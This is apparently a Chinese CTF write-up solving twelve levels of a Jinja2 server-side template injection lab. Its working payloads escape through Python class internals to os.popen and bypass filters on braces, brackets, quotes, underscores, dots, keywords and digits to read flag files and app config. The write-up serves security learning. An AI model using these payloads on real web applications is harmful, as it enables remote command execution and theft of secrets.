SSTI靶场题解
SSTI靶场题解
Sherlocklevel-1(no waf)
遍历目标中含有内建函数 eval 的子类的索引号:
1 | import requests |
所以随便挑一个构造payload为:{{''.__class__.__bases__[0].__subclasses__()[158].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}
获取到flag的位置,读取flag:{{''.__class__.__bases__[0].__subclasses__()[158].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("cat /flag.txt").read()')}}
level-2(过滤了大括号)
可以用 {%print(......)%}
的形式来代替大括号 ,如下:
1 | {%print(''.__class__.__bases__[0].__subclasses__()[158].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()'))%} |
获取到flag的位置,读取flag
level-3(no waf and blind)
没有任何回显,最开始是想要利用curl命令来把文件外带出来的curl -d cat /flag.txt -o output.txt
,,flag.txt会被写到app.py同目录下,读取不出来,所以这个尝试失败了
后面学长说不必如此,目录下面只有static目录下面的文件可以被直接读取,所以可以把要的文件写到static目录下,就可以直接通过url来进行访问了
所以payload如下
1 | {{''.__class__.__bases__[0].__subclasses__()[158].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("cat /flag.txt > static/output.txt").read()')}} |
然后直接访问/static/output.txt
,便可以得到flag.txt的内容
level-4(过滤了[])
可以使用 __getitem__()
方法来绕过中括号:
1 | {{''.__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(158).__init__.__globals__.__getitem__('__builtins__').__getitem__('eval')('__import__("os").popen("ls /").read()')}} |
获取到flag的位置,读取flag
level-5(过滤了单双引号)
可以使用requests对象进行绕过,如下所示:
level-6(过滤了下划线)
使用requests对象进行绕过,
1 | code={{''[request.values.class][request.values.base][request.values.subclasses]()[284][request.values.init][request.values.globals]['linecache']['os'].popen('ls /').read()}}&class=__class__&base=__base__&subclasses=__subclasses__&init=__init__&globals=__globals__ |
以上使用数字或者字符串都可以溯源到object类,但是(),[]等的不行,因为两个的父类分别是tuple和list,所以一旦按照上面的进行操作
便是在初始化元组或者列表
1 | {{().__class__[request.values.base]}}&base=__base__回显Hello tuple['__base__'] |
还有一种编码绕过
1 | __class__ => \x5f\x5fclass\x5f\x5f |
其中_
的十六进制编码为\x5f
,于是我们可以构造出如下的payload:
1 | {{().__class__.__bases__[0].__subclasses__()[154].__init__.__globals__['popen']("ls /").read()}} |
1 | {{()|attr("\x5f\x5fclass\x5f\x5f")|attr("\x5f\x5fbase\x5f\x5f")|attr("\x5f\x5fsubclasses\x5f\x5f")()|attr("\x5f\x5fgetitem\x5f\x5f")(154)|attr("\x5f\x5finit\x5f\x5f")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")('popen')("ls /")|attr("read")()}} |
level-7(过滤点)
使用|attr
来进行绕过,payload如下:
1 | code={{''|attr("__class__")|attr("__bases__")|attr("__getitem__")(0)|attr("__subclasses__")()|attr("__getitem__")(154)|attr("__init__")|attr("__globals__")|attr("__getitem__")("popen")("ls /")|attr("read")()}} |
也可以用[]
来绕过,如下:
1 | code={{''['__class__']['__base__']['__subclasses__']()[154]['__init__']['__globals__']['popen']('ls /')['read']()}} |
level-8
过滤了["class", "arg", "form", "value", "data", "request", "init", "global", "open", "mro", "base", "attr"]
当用[]
进行绕过的时候,里面的所有内容都可以被编码,payload如下:
1 | code={{''['\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f']['\u005f\u005f\u0062\u0061\u0073\u0065\u005f\u005f']['\u005f\u005f\u0073\u0075\u0062\u0063\u006c\u0061\u0073\u0073\u0065\u0073\u005f\u005f']()[154]['\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f']['\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f']['\u0070\u006f\u0070\u0065\u006e']('ls /')['read']()}} |
当然,也可以使用字符串拼接来进行绕过,这里就不一一列举了
level-9(过滤数字0到9)
首先我们可以使用过滤器|length
来构造数字进行绕过:{% set a='aaaaaaaaaaa'|length*'aa'|length*'aaaaaaa'|length %}{{a}}
所以payload如下:
1 | code={% set a='aaaaaaaaaaa'|length*'aa'|length*'aaaaaaa'|length %}{{a}}{{''.__class__.__base__.__subclasses__()[a].__init__.__globals__['popen']("ls /").read()}} |
level-10set config = None
这一关的目的是拿到config,当我们使用{{config}}
以及{{self}}
时都返回了None.看来是被ban了,所以得重新寻找一个储存相关信息的变量,发现存在这么一个变量current_app
是我们需要的.官网对current_app
提供了这么一句说明
应用上下文会在必要时被创建和销毁。它不会在线程间移动,并且也不会在不同的请求之间共享。正因为如此,它是一个存储数据库连接信息或是别的东西的最佳位置。
因此,此处能使用current_app
绕过.
构造payload,拿到config
1 | {{url_for.__globals__['current_app'].config}} |
两句要分别带进去,不能同时带进去
level-11
过滤了['\'', '"', '+', 'request', '.', '[', ']']
,所以我们有以下的操作:
1 | {{().__class__.__bases__[0].__subclasses__()[154].__init__.__globals__['popen']("ls /").read()}} |
1 | {% set a = dict(__cla=aa,ss__=bb)|join %} |
level-12
过滤了['_', '.', '0-9', '\\', '\'', '"', '[', ']']
没有过滤requests,所以我们可以结合上题并通过requests对象来进行绕过